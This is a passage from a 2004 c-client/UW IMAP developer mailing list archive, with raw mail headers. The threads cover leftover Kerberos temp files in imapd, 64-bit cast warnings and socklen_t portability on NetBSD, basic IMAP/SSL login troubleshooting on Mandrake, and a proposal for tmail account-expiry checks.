effective. History: A couple of years ago, we had massive quantities of /tmp/krb5* files accumulating. At the time, the code in "ckp_pam.c" had an "#if 0" disabling code that would unlink these files at their creation; I enabled this and it solved our problem. (See also my email of 19 April 2004.) Last week, I had installed vanilla imap-2004a: the "/tmp/krb5*" problem reappeared with a vengeance, and we quickly had 20,000 (and rising) such files. I then extracted your "src/osdep/unix/env_unix.c" change from "imap-2004b.DEV" and applied that to our "imap-2004a". Things are now vastly better. However there is still a smaller-scale lurking problem causing some /tmp/krb5* files to remain. I don't know how the users precipate this condition from email sessions, but I can reproduce something similar (same?) "under the bonnet" within the server: o A clean session (imap login/logout) is fine (the /tmp/krb5* file is cleanly removed at session end). o Sending a HUP to imapd (dies) is also fine (file cleanly removed). o Sending a TERM or INT to imapd (dies) leaves the file hanging around. So that "imap-2004b.DEV" change has made a huge improvement, for which many thanks. But there remain some circumstances under which /tmp/krb5* files can be left around (we are seeing a few thousand per day, so I still need my tmp-flushing cron job). Hope that helps. --=20 : David Lee I.T. Service : : Systems Programmer Computer Centre : : University of Durham : : http://www.dur.ac.uk/t.d.lee/ South Road : : Durham : : Phone: +44 191 334 2752 U.K. : From pinedev@shivax2.cac.washington.edu Wed Sep 22 09:09:29 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 22 Sep 2004 09:09:29 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8MG9Tag017165 for ; Wed, 22 Sep 2004 09:09:29 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8MG9SYi028638 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 22 Sep 2004 09:09:29 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8MG8PTq016808; Wed, 22 Sep 2004 09:08:25 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8MG5qSo106198 for ; Wed, 22 Sep 2004 09:05:52 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8MG5qjm017444 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Wed, 22 Sep 2004 09:05:52 -0700 Received: from pmesmtp01.mci.com (pmesmtp01.wcom.com [199.249.20.1]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8MG5pmT026196 for ; Wed, 22 Sep 2004 09:05:51 -0700 Received: from dgismtp01.wcomnet.com ([166.38.58.141]) by firewall.mci.com (Iplanet MTA 5.2) with ESMTP id <0I4G00AMMA1RGQ@firewall.mci.com> for c-client@cac.washington.edu; Wed, 22 Sep 2004 16:05:51 +0000 (GMT) Received: from dgismtp01.wcomnet.com by dgismtp01.mcilink.com (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003)) with SMTP id <0I4G00G01A1Q9Y@dgismtp01.mcilink.com> for c-client@cac.washington.edu; Wed, 22 Sep 2004 16:05:50 +0000 (GMT) Received: from [153.39.148.200] by dgismtp01.mcilink.com (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003)) with ESMTP id <0I4G00FC7A1PCJ@dgismtp01.mcilink.com> for c-client@cac.washington.edu; Wed, 22 Sep 2004 16:05:50 +0000 (GMT) Message-Id: <4151A2DD.5060304@fullmesh.net> Date: Wed, 22 Sep 2004 12:05:49 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Chris Ross To: c-client Interest List Subject: Re: 64-bit problems with c-client imap2004a In-Reply-To: References: MIME-version: 1.0 Content-type: text/plain; charset=us-ascii; format=flowed Content-transfer-encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > You can disregard these warnings entirely. > > A few pedantic C compilers get upset at the use of void* as a bucket to > hold an arbitrary cell, even though this is often the only way to do > something *and* the programmer indicated his intent with an explict cast > (which supposedly tells the compiler "I know what I'm doing, damnit!"). Okay. Tho, in these cases you're casting a 64-bit pointer to and from a 32-bit unsigned int. So, it's not wrong to warn about it. > Sigh. On some systems, it's an int* (and socklen_t is undefined). On > some, it's a socklen_t*. And on some, it's a size_t* (and socklen_t is > undefined). At UW, we have examples of all three; and there's no good > way for the code to know what it is on the system being built. That's > why c-client casts it to a void*. Right. I understand the problem. > There's simply no way to win on every possible platform. Well, without having some sort of "smart" system, or lots of OS-dependent #def's or typedef's for things... > I suggest that the best thing to do is have the NETBSD osdep files > redefine getsockname() as a jacket function into the real one. Take a > look at the SCO osdep files for an example (e.g. how rename() gets > redefined). Of course, that assumes that all NETBSD is 64 bit or at > least follows the socklen_t* convention; if not then a new port has to > be spawned off. Eep. Well, I'm willing to presume all NetBSD's (at least of a relatively recent vintage) have a socklen_t, so that will work. Seems an ugly way to do it tho. Obviously, you've chosen not to go down the autoconf path already. But, you could have each OS define what it's socklen type is, like you do with a few other config things in the Makefile. Or is that just opening a larger can of worms than you're comfortable with (despite, IMO, doing much that already for other things)? - Chris From pinedev@shivax2.cac.washington.edu Thu Sep 23 07:28:46 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 23 Sep 2004 07:28:46 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8NESkVI031885 for ; Thu, 23 Sep 2004 07:28:46 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8NESjuZ002702 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 23 Sep 2004 07:28:45 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8NERnpU017300; Thu, 23 Sep 2004 07:27:49 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8NEPc3J056122 for ; Thu, 23 Sep 2004 07:25:38 -0700 Received: from mail.bitstream.com (mail.bitstream.com [192.5.106.235]) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8NEPZwb008153 for ; Thu, 23 Sep 2004 07:25:36 -0700 Received: from [192.168.112.61] ([192.168.112.61]) (authenticated user pdavis@pageflexinc.com) by mail.bitstream.com; Thu, 23 Sep 2004 10:27:15 -0400 Message-Id: <4152DCDC.5000601@pfdstudio.com> Date: Thu, 23 Sep 2004 10:25:32 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Peter Davis To: c-client@u.washington.edu Subject: Basic installation questions - Mandrake 10 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.0 required=6.1 X-Spam-Level: X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm a former *n*x guy, but I've been condemned to Windows-land for 10 years. Now I've got my first Linux (Mandrake 10) machine, and I'm trying to set it up as an IMAP4/SquirrelMail server. I built openssl and imap, and I can telnet to the POP and IMAP servers, but I can't log in. I gather this has to do with the fact that plain text passwords are disabled by default. However, I can't telnet to the SSL socket (995) at all, so I'm at a loss how to procede. I've looked in the Makefile, FAQ, etc., but didn't find anything I could understand that seemed to relate. Once I can actually connect to this machine, I need to figure out how best to move all my old mail (some in mbox format, some in MH) onto it, so I have all my old and new mail accessible from one place. Thanks very much. -pd -- -------- Peter Davis Funny stuff at http://www.pfdstudio.com The artwork formerly shown as prints List of resources for children's writers and illustrators at: http://www.pfdstudio.com/cwrl.html -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Sep 23 09:37:52 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 23 Sep 2004 09:37:52 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8NGbpiL004392 for ; Thu, 23 Sep 2004 09:37:51 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8NGbpR7011034 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 23 Sep 2004 09:37:51 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8NGag7m012270; Thu, 23 Sep 2004 09:36:43 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8NGYCiA104284 for ; Thu, 23 Sep 2004 09:34:12 -0700 Received: from mail1.RZ.Uni-Augsburg.DE (mail1.RZ.Uni-Augsburg.DE [137.250.121.10]) by mxe3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8NGYB0U012818 for ; Thu, 23 Sep 2004 09:34:11 -0700 Received: from bernina.physik.uni-augsburg.de ([137.250.80.10]) by mail1.RZ.Uni-Augsburg.DE with esmtp (Exim 4.34) id 1CAWXq-000BeQ-5j for c-client@u.washington.edu; Thu, 23 Sep 2004 18:34:10 +0200 Received: from ralfu by bernina.Physik.Uni-Augsburg.DE with local (Exim 4.30) id 1CAWXm-000C0E-Ec for c-client@u.washington.edu; Thu, 23 Sep 2004 18:34:06 +0200 Message-Id: <20040923163406.GE32646@physik.uni-augsburg.de> Date: Thu, 23 Sep 2004 18:34:06 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ralf Utermann To: c-client@u.washington.edu Subject: Re: Basic installation questions - Mandrake 10 In-Reply-To: <4152DCDC.5000601@pfdstudio.com> References: <4152DCDC.5000601@pfdstudio.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit X-Sender: Ralf Utermann X-Virus-Scanned: cc4717c1082f6ff7e29489c1107b5cfa X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, Sep 23, 2004 at 10:25:32AM -0400, Peter Davis wrote: > [...] > trying to set it up as an IMAP4/SquirrelMail server. I built openssl and > imap, and I can telnet to the POP and IMAP servers, but I can't log in. [...] To connect on the command line you use openssl, like: openssl s_client -connect :995 Bye, Ralf -- Ralf Utermann _____________________________________________________________________ Universität Augsburg, Institut für Physik -- EDV-Betreuer Universitätsstr.1 D-86135 Augsburg Phone: +49-821-598-3231 SMTP: Ralf.Utermann@Physik.Uni-Augsburg.DE Fax: -3411 From pinedev@shivax2.cac.washington.edu Thu Sep 23 13:10:49 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 23 Sep 2004 13:10:49 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8NKAnxi013361 for ; Thu, 23 Sep 2004 13:10:49 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8NKAmbn020377 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 23 Sep 2004 13:10:49 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8NK8mtx016258; Thu, 23 Sep 2004 13:08:48 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8NK7HWL064270 for ; Thu, 23 Sep 2004 13:07:17 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8NK7GZo028974 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Thu, 23 Sep 2004 13:07:16 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8NK7FWd024654 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 23 Sep 2004 13:07:16 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8NK7Fbj025408; Thu, 23 Sep 2004 13:07:15 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8NK7FUs003641; Thu, 23 Sep 2004 13:07:15 -0700 Message-Id: Date: Thu, 23 Sep 2004 13:07:15 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Chris Ross Cc: c-client Interest List Subject: Re: 64-bit problems with c-client imap2004a In-Reply-To: <4151A2DD.5060304@fullmesh.net> References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 22 Sep 2004, Chris Ross wrote: >> A few pedantic C compilers get upset at the use of void* as a bucket to >> hold an arbitrary cell, even though this is often the only way to do >> something *and* the programmer indicated his intent with an explict cast > Okay. Tho, in these cases you're casting a 64-bit pointer > to and from a 32-bit unsigned int. So, it's not wrong to > warn about it. Actually, it is wrong to warn; at least if you believe K&R. The whole point of explicit casting is to tell the compiler not to warn about "unsafe" casts; and there's substantial text (and precedent) about how an "unsafe" cast is done. Every compiler which gives these warnings ends up generating the correct code anyway. Unfortunately, some people who make a programming mistake blame the compiler for not warning them the way a Pascal compiler would. Or, there are compiler authors who see the function pointer casts extension (K.5.7 in the old copy of the C specification that I have) as meaning that the compiler is obliged to issue a warning when it is used. > But, you could have each OS define what it's > socklen type is, like you do with a few other config things > in the Makefile. Or is that just opening a larger can > of worms than you're comfortable with (despite, IMO, doing > much that already for other things)? In general, I follow the path of least resistance. There's a great many ports in c-client which I would like to retire, but dare not even though it's been many years since I could actually test c-client on such a system. After all these years, you'd think that ANSI C compilers and POSIX compliance would be universal...until you discover that someone's using system which still is in the pre-ANSI, pre-POSIX world. As a result, I'm loathe to do something which requires a new definition added in all ports; instead, I do what is necessary to coerce the oddball that doesn't fit into fitting. It's the "don't fix what isn't broken" syndrome. Autoconf helps in some cases but not in others. I have literally spent hours in fighting autoconf when it does the wrong thing for a particular platform. With c-client the way it is now, it's relatively easy to add an oddball and get it to work without affecting anything else. I have had little success doing the same with autoconf. Of course, that's just me. Lots of people use autoconf and are happy with it. But they generally don't need to worry about oddball systems. Anyway, if you can suggest something that can be done at the osdep level, I'll be very interested. Currently, the same osdep file is used for all versions of BSD/i386, OpenBSD, and NetBSD. Obviously, it would easiest if we could do something that applies to all of these. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Sep 23 18:31:22 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 23 Sep 2004 18:31:22 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8O1VM6x025484 for ; Thu, 23 Sep 2004 18:31:22 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8O1VLsN032559 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 23 Sep 2004 18:31:21 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8O1UOLO012496; Thu, 23 Sep 2004 18:30:25 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8O1T06t065406 for ; Thu, 23 Sep 2004 18:29:00 -0700 Received: from sccrmhc13.comcast.net (sccrmhc13.comcast.net [204.127.202.64]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8O1Sw2u028847 for ; Thu, 23 Sep 2004 18:28:59 -0700 Received: from [127.0.0.1] (h00045a2a2d20.ne.client2.attbi.com[66.30.194.132]) by comcast.net (sccrmhc13) with ESMTP id <200409240128570160004ppee>; Fri, 24 Sep 2004 01:28:57 +0000 Message-Id: <415377E1.6050702@pfdstudio.com> Date: Thu, 23 Sep 2004 21:26:57 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Peter Davis To: Ralf Utermann Cc: c-client@u.washington.edu Subject: Re: Basic installation questions - Mandrake 10 In-Reply-To: <20040923163406.GE32646@physik.uni-augsburg.de> References: <4152DCDC.5000601@pfdstudio.com> <20040923163406.GE32646@physik.uni-augsburg.de> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="------------030209010603060403010509" X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__BAT_BOUNDARY 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __CTYPE_MULTIPART_ALT 0, __HAS_MSGID 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __TAG_EXISTS_BODY 0, __TAG_EXISTS_HEAD 0, __TAG_EXISTS_HTML 0, __TAG_EXISTS_META 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --------------030209010603060403010509 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Ralf Utermann wrote: >On Thu, Sep 23, 2004 at 10:25:32AM -0400, Peter Davis wrote: > > >[...] > > >>trying to set it up as an IMAP4/SquirrelMail server. I built openssl and >>imap, and I can telnet to the POP and IMAP servers, but I can't log in. >> >> >[...] >To connect on the command line you use openssl, like: >openssl s_client -connect :995 > > I just tried this from Windows, and got: CONNECTED(00000003) write:errno=104 Does that indicate anything? Thanks, -pd -- -------- Peter Davis Funny stuff at http://www.pfdstudio.com List of resources for children's writers and illustrators at: http://www.pfdstudio.com/cwrl.html --------------030209010603060403010509 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Ralf Utermann wrote: 
    On Thu, Sep 23, 2004 at 10:25:32AM -0400, Peter Davis wrote:
  
    [...]
  
    trying to set it up as an IMAP4/SquirrelMail server. I built openssl and 
imap, and I can telnet to the POP and IMAP servers, but I can't log in.  
    
    [...]
To connect on the command line you use openssl, like:
openssl s_client -connect <mailserver>:995

    I just tried this from Windows, and got:

    CONNECTED(00000003)
    write:errno=104

    Does that indicate anything?

    Thanks,
    -pd

    -- 
--------
                             Peter Davis
               Funny stuff at http://www.pfdstudio.com
    List of resources for children's writers and illustrators at:
                  http://www.pfdstudio.com/cwrl.html
    --------------030209010603060403010509-- From pinedev@shivax2.cac.washington.edu Fri Sep 24 04:01:49 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 24 Sep 2004 04:01:49 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OB1nhn014515 for ; Fri, 24 Sep 2004 04:01:49 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OB1mUg006745 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 24 Sep 2004 04:01:49 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8OB126f010772; Fri, 24 Sep 2004 04:01:02 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OAxhi5027978 for ; Fri, 24 Sep 2004 03:59:43 -0700 Received: from smtp1.powertech.no (smtp1.powertech.no [195.159.0.145]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8OAxg1w026916 for ; Fri, 24 Sep 2004 03:59:43 -0700 Received: from [195.159.6.24] (ws24.ns5.powertech.no [195.159.6.24]) by smtp1.powertech.no (Postfix) with ESMTP id 72C0780DE for ; Fri, 24 Sep 2004 12:59:42 +0200 (CEST) Message-Id: Date: Fri, 24 Sep 2004 12:59:41 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Frode Nordahl To: c-client@u.washington.edu Subject: tmail and account verification Mime-Version: 1.0 (Apple Message framework v619) Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __MSGID_APPLEMAIL 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I'd like tmail to check if a account is expired before attempting to deliver mail to it. It's a shame that there has not been developed a standard way to check this on Unix. But since the world is as it is, how about adding a checkacct() function to the osdep ckp_*.c files, which could do pam_acct_mgmt on PAM systems, check pw->pw_expire on systems with that, sp->sp_expire on systems with that etc. I'm in no possition to make this work on all platforms supported by uw-imap, but I could contribute to a few. Is this the way to go, or should this be solved a different way? PS: Is it really necessary for tmail to make such verbose logs under normal operation? :-) Mvh, Frode Nordahl -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Sep 24 05:24:24 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 24 Sep 2004 05:24:24 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OCOOjS017104 for ; Fri, 24 Sep 2004 05:24:24 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OCONLQ011061 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 24 Sep 2004 05:24:23 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id i8OCN4ie013278; Fri, 24 Sep 2004 05:23:04 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OCLiGk049898 for ; Fri, 24 Sep 2004 05:21:44 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id i8OCLhhB011051 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Fri, 24 Sep 2004 05:21:44 -0700 Received: from omzesmtp02.mci.com (omzesmtp02.mci.com [199.249.17.9]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OCLhEU018241; Fri, 24 Sep 2004 05:21:43 -0700 Received: from pmismtp06.wcomnet.com ([166.38.62.54]) by firewall.mci.com (Iplanet MTA 5.2) with ESMTP id <0I4J00757P06ZK@firewall.mci.com>; Fri, 24 Sep 2004 12:21:42 +0000 (GMT) Received: from pmismtp06.wcomnet.com by pmismtp06.mcilink.com (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003)) with SMTP id <0I4J00I01P06XW@pmismtp06.mcilink.com>; Fri, 24 Sep 2004 12:21:42 +0000 (GMT) Received: from [131.146.6.35] by pmismtp06.mcilink.com (iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003)) with ESMTP id <0I4J00I19P05PJ@pmismtp06.mcilink.com>; Fri, 24 Sep 2004 12:21:42 +0000 (GMT) Message-Id: <41541155.2050801@fullmesh.net> Date: Fri, 24 Sep 2004 08:21:41 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Chris Ross To: Mark Crispin Cc: Chris Ross , c-client Interest List Subject: Re: 64-bit problems with c-client imap2004a In-Reply-To: References: MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1; format=flowed Content-transfer-encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: >> Okay. Tho, in these cases you're casting a 64-bit pointer >> to and from a 32-bit unsigned int. So, it's not wrong to >> warn about it. > > Actually, it is wrong to warn; at least if you believe K&R. The whole > point of explicit casting is to tell the compiler not to warn about > "unsafe" casts; and there's substantial text (and precedent) about how > an "unsafe" cast is done. Every compiler which gives these warnings > ends up generating the correct code anyway. Okay. I can see that point. But, when K&R was written, there was much less variety in hardware implementations and type-sizes. At least, that's my belief. It is, sadly, a bit before my day. IMHO, I think it's not unwise to warn about casting a 64-bit pointer value into a 32-bit value. But, you may be right that this is just because programmers too oft tend to assume "pointers are 32-bits", at least in the last 10 years. > Unfortunately, some people who make a programming mistake blame the > compiler for not warning them the way a Pascal compiler would.[...] Understood. I don't think I'm trying to do that here, but people do, I agree. > Anyway, if you can suggest something that can be done at the osdep > level, I'll be very interested. Currently, the same osdep file is used > for all versions of BSD/i386, OpenBSD, and NetBSD. Obviously, it would > easiest if we could do something that applies to all of these. Yup. I hope to take a look at this today. What's the approximate timeline for bundling and releasing 2004b? (Which I'll then need to get updated in the NetBSD pkgsrc tree) Thanks! - Chris From pinedev@shivax2.cac.washington.edu Fri Sep 24 07:36:44 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 24 Sep 2004 07:36:44 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i8OEahNt020197 for ; Fri, 24 Sep 2004 07:36:43 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with 